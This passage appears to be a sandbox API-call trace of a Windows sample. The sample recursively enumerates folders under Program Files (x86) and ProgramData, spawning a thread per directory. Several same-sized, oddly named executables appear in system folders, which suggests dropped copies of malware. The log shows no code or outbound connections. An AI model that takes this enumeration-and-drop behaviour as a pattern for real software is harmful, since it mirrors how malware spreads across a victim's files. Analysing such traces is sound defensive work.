dwReserved1=0x0, cFileName="specification.exe", cAlternateFileName="SPECIF~1.EXE")) returned 0 [0085.764] FindClose (in: hFindFile=0x1b7cea60 | out: hFindFile=0x1b7cea60) returned 1 [0085.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bdb0) returned 1 [0085.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be00) returned 1 Thread: id = 117 os_tid = 0x748 [0085.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b7c1e20 [0085.767] wcscpy (in: _Dest=0x1b7c1e20, _Source="C:\\Program Files (x86)\\Reference Assemblies" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies" [0085.767] wcscat (in: _Dest=0x1b7c1e20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\" [0085.768] wcscat (in: _Dest=0x1b7c1e20, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\*" [0085.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.768] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdd98d1a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd98d1a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cea60 [0085.768] wcscmp (_String1=".", _String2=".") returned 0 [0085.768] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdd98d1a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd98d1a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.768] wcscmp (_String1="..", _String2=".") returned 1 [0085.768] wcscmp (_String1="..", _String2="..") returned 0 [0085.768] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc73d8990, ftCreationTime.dwHighDateTime=0x1d57ffd, ftLastAccessTime.dwLowDateTime=0x8a755860, ftLastAccessTime.dwHighDateTime=0x1d5c433, ftLastWriteTime.dwLowDateTime=0x8a755860, ftLastWriteTime.dwHighDateTime=0x1d5c433, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0085.768] wcscmp (_String1="barca.exe", _String2=".") returned 1 [0085.768] wcscmp (_String1="barca.exe", _String2="..") returned 1 [0085.768] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0085.768] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0085.768] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0085.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79da70 [0085.769] wcscpy (in: _Dest=0x1b79da70, _Source="C:\\Program Files (x86)\\Reference Assemblies" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies" [0085.769] wcscat (in: _Dest=0x1b79da70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\" [0085.769] wcscat (in: _Dest=0x1b79da70, _Source="Microsoft" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0085.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79da70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0085.770] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0968090, ftCreationTime.dwHighDateTime=0x1d5b89e, ftLastAccessTime.dwLowDateTime=0x90104d60, ftLastAccessTime.dwHighDateTime=0x1d5c35d, ftLastWriteTime.dwLowDateTime=0x90104d60, ftLastWriteTime.dwHighDateTime=0x1d5c35d, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="trustees heated.exe", cAlternateFileName="TRUSTE~1.EXE")) returned 1 [0085.770] wcscmp (_String1="trustees heated.exe", _String2=".") returned 1 [0085.770] wcscmp (_String1="trustees heated.exe", _String2="..") returned 1 [0085.770] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0968090, ftCreationTime.dwHighDateTime=0x1d5b89e, ftLastAccessTime.dwLowDateTime=0x90104d60, ftLastAccessTime.dwHighDateTime=0x1d5c35d, ftLastWriteTime.dwLowDateTime=0x90104d60, ftLastWriteTime.dwHighDateTime=0x1d5c35d, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="trustees heated.exe", cAlternateFileName="TRUSTE~1.EXE")) returned 0 [0085.770] FindClose (in: hFindFile=0x1b7cea60 | out: hFindFile=0x1b7cea60) returned 1 [0085.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e20) returned 1 [0085.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceac0) returned 1 Thread: id = 118 os_tid = 0x8c4 [0085.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1e20 [0085.774] wcscpy (in: _Dest=0x1b7c1e20, _Source="C:\\Program Files (x86)\\Uninstall Information" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information") returned="C:\\Program Files (x86)\\Uninstall Information" [0085.774] wcscat (in: _Dest=0x1b7c1e20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\") returned="C:\\Program Files (x86)\\Uninstall Information\\" [0085.774] wcscat (in: _Dest=0x1b7c1e20, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\*") returned="C:\\Program Files (x86)\\Uninstall Information\\*" [0085.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.774] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xdda97b40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda97b40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0085.774] wcscmp (_String1=".", _String2=".") returned 0 [0085.774] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xdda97b40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda97b40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.774] wcscmp (_String1="..", _String2=".") returned 1 [0085.774] wcscmp (_String1="..", _String2="..") returned 0 [0085.774] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb8f5af0, ftCreationTime.dwHighDateTime=0x1d5841d, ftLastAccessTime.dwLowDateTime=0x8612f740, ftLastAccessTime.dwHighDateTime=0x1d5d1ea, ftLastWriteTime.dwLowDateTime=0x8612f740, ftLastWriteTime.dwHighDateTime=0x1d5d1ea, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="operamail.exe", cAlternateFileName="OPERAM~1.EXE")) returned 1 [0085.774] wcscmp (_String1="operamail.exe", _String2=".") returned 1 [0085.774] wcscmp (_String1="operamail.exe", _String2="..") returned 1 [0085.774] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb8f5af0, ftCreationTime.dwHighDateTime=0x1d5841d, ftLastAccessTime.dwLowDateTime=0x8612f740, ftLastAccessTime.dwHighDateTime=0x1d5d1ea, ftLastWriteTime.dwLowDateTime=0x8612f740, ftLastWriteTime.dwHighDateTime=0x1d5d1ea, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="operamail.exe", cAlternateFileName="OPERAM~1.EXE")) returned 0 [0085.775] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0085.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e20) returned 1 [0085.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1bf0) returned 1 Thread: id = 119 os_tid = 0x924 [0085.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b7ceac0 [0085.778] wcscpy (in: _Dest=0x1b7ceac0, _Source="C:\\Program Files (x86)\\Windows Mail" | out: _Dest="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0085.778] wcscat (in: _Dest=0x1b7ceac0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\") returned="C:\\Program Files (x86)\\Windows Mail\\" [0085.778] wcscat (in: _Dest=0x1b7ceac0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\*") returned="C:\\Program Files (x86)\\Windows Mail\\*" [0085.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.778] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xde9ea8e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde9ea8e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cea60 [0085.778] wcscmp (_String1=".", _String2=".") returned 0 [0085.778] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xde9ea8e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde9ea8e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.778] wcscmp (_String1="..", _String2=".") returned 1 [0085.778] wcscmp (_String1="..", _String2="..") returned 0 [0085.778] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42d4490, ftCreationTime.dwHighDateTime=0x1d56da1, ftLastAccessTime.dwLowDateTime=0xf1a0dae0, ftLastAccessTime.dwHighDateTime=0x1d5ab4d, ftLastWriteTime.dwLowDateTime=0xf1a0dae0, ftLastWriteTime.dwHighDateTime=0x1d5ab4d, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="burning.exe", cAlternateFileName="")) returned 1 [0085.778] wcscmp (_String1="burning.exe", _String2=".") returned 1 [0085.778] wcscmp (_String1="burning.exe", _String2="..") returned 1 [0085.778] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0085.778] wcscmp (_String1="en-US", _String2=".") returned 1 [0085.778] wcscmp (_String1="en-US", _String2="..") returned 1 [0085.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b7ce9a0 [0085.778] wcscpy (in: _Dest=0x1b7ce9a0, _Source="C:\\Program Files (x86)\\Windows Mail" | out: _Dest="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0085.779] wcscat (in: _Dest=0x1b7ce9a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\") returned="C:\\Program Files (x86)\\Windows Mail\\" [0085.779] wcscat (in: _Dest=0x1b7ce9a0, _Source="en-US" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US") returned="C:\\Program Files (x86)\\Windows Mail\\en-US" [0085.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ce9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0085.779] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b530d7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b530d7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0085.779] wcscmp (_String1="msoe.dll", _String2=".") returned 1 [0085.779] wcscmp (_String1="msoe.dll", _String2="..") returned 1 [0085.779] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e00b0b6, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x9e00b0b6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6cf87540, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0085.779] wcscmp (_String1="MSOERES.dll", _String2=".") returned 1 [0085.779] wcscmp (_String1="MSOERES.dll", _String2="..") returned 1 [0085.779] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b9f397, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b9f397, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0085.780] wcscmp (_String1="oeimport.dll", _String2=".") returned 1 [0085.780] wcscmp (_String1="oeimport.dll", _String2="..") returned 1 [0085.780] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x879b1223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x879b1223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87a95a65, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0085.780] wcscmp (_String1="wab.exe", _String2=".") returned 1 [0085.780] wcscmp (_String1="wab.exe", _String2="..") returned 1 [0085.780] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a77900b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a77900b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0085.780] wcscmp (_String1="wabfind.dll", _String2=".") returned 1 [0085.780] wcscmp (_String1="wabfind.dll", _String2="..") returned 1 [0085.780] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1aba92, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a1aba92, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb05167b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0085.780] wcscmp (_String1="wabimp.dll", _String2=".") returned 1 [0085.780] wcscmp (_String1="wabimp.dll", _String2="..") returned 1 [0085.780] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2b2af4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2b2af4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x78aae250, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0085.780] wcscmp (_String1="wabmig.exe", _String2=".") returned 1 [0085.780] wcscmp (_String1="wabmig.exe", _String2="..") returned 1 [0085.780] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0085.780] wcscmp (_String1="WinMail.exe", _String2=".") returned 1 [0085.780] wcscmp (_String1="WinMail.exe", _String2="..") returned 1 [0085.780] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0085.780] FindClose (in: hFindFile=0x1b7cea60 | out: hFindFile=0x1b7cea60) returned 1 [0085.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceac0) returned 1 [0085.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 Thread: id = 120 os_tid = 0x974 [0085.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d7f40 [0085.783] wcscpy (in: _Dest=0x1b7d7f40, _Source="C:\\ProgramData\\Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0085.783] wcscat (in: _Dest=0x1b7d7f40, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\") returned="C:\\ProgramData\\Adobe\\" [0085.783] wcscat (in: _Dest=0x1b7d7f40, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\*") returned="C:\\ProgramData\\Adobe\\*" [0085.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.783] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0085.783] wcscmp (_String1=".", _String2=".") returned 0 [0085.783] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.783] wcscmp (_String1="..", _String2=".") returned 1 [0085.783] wcscmp (_String1="..", _String2="..") returned 0 [0085.783] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0085.783] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0085.783] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0085.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82be50 [0085.784] wcscpy (in: _Dest=0x1b82be50, _Source="C:\\ProgramData\\Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0085.784] wcscat (in: _Dest=0x1b82be50, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\") returned="C:\\ProgramData\\Adobe\\" [0085.784] wcscat (in: _Dest=0x1b82be50, _Source="Acrobat" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat") returned="C:\\ProgramData\\Adobe\\Acrobat" [0085.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82be50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0085.784] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0085.784] wcscmp (_String1="ARM", _String2=".") returned 1 [0085.784] wcscmp (_String1="ARM", _String2="..") returned 1 [0085.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d7e80 [0085.784] wcscpy (in: _Dest=0x1b7d7e80, _Source="C:\\ProgramData\\Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0085.784] wcscat (in: _Dest=0x1b7d7e80, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\") returned="C:\\ProgramData\\Adobe\\" [0085.784] wcscat (in: _Dest=0x1b7d7e80, _Source="ARM" | out: _Dest="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM" [0085.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0085.785] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, 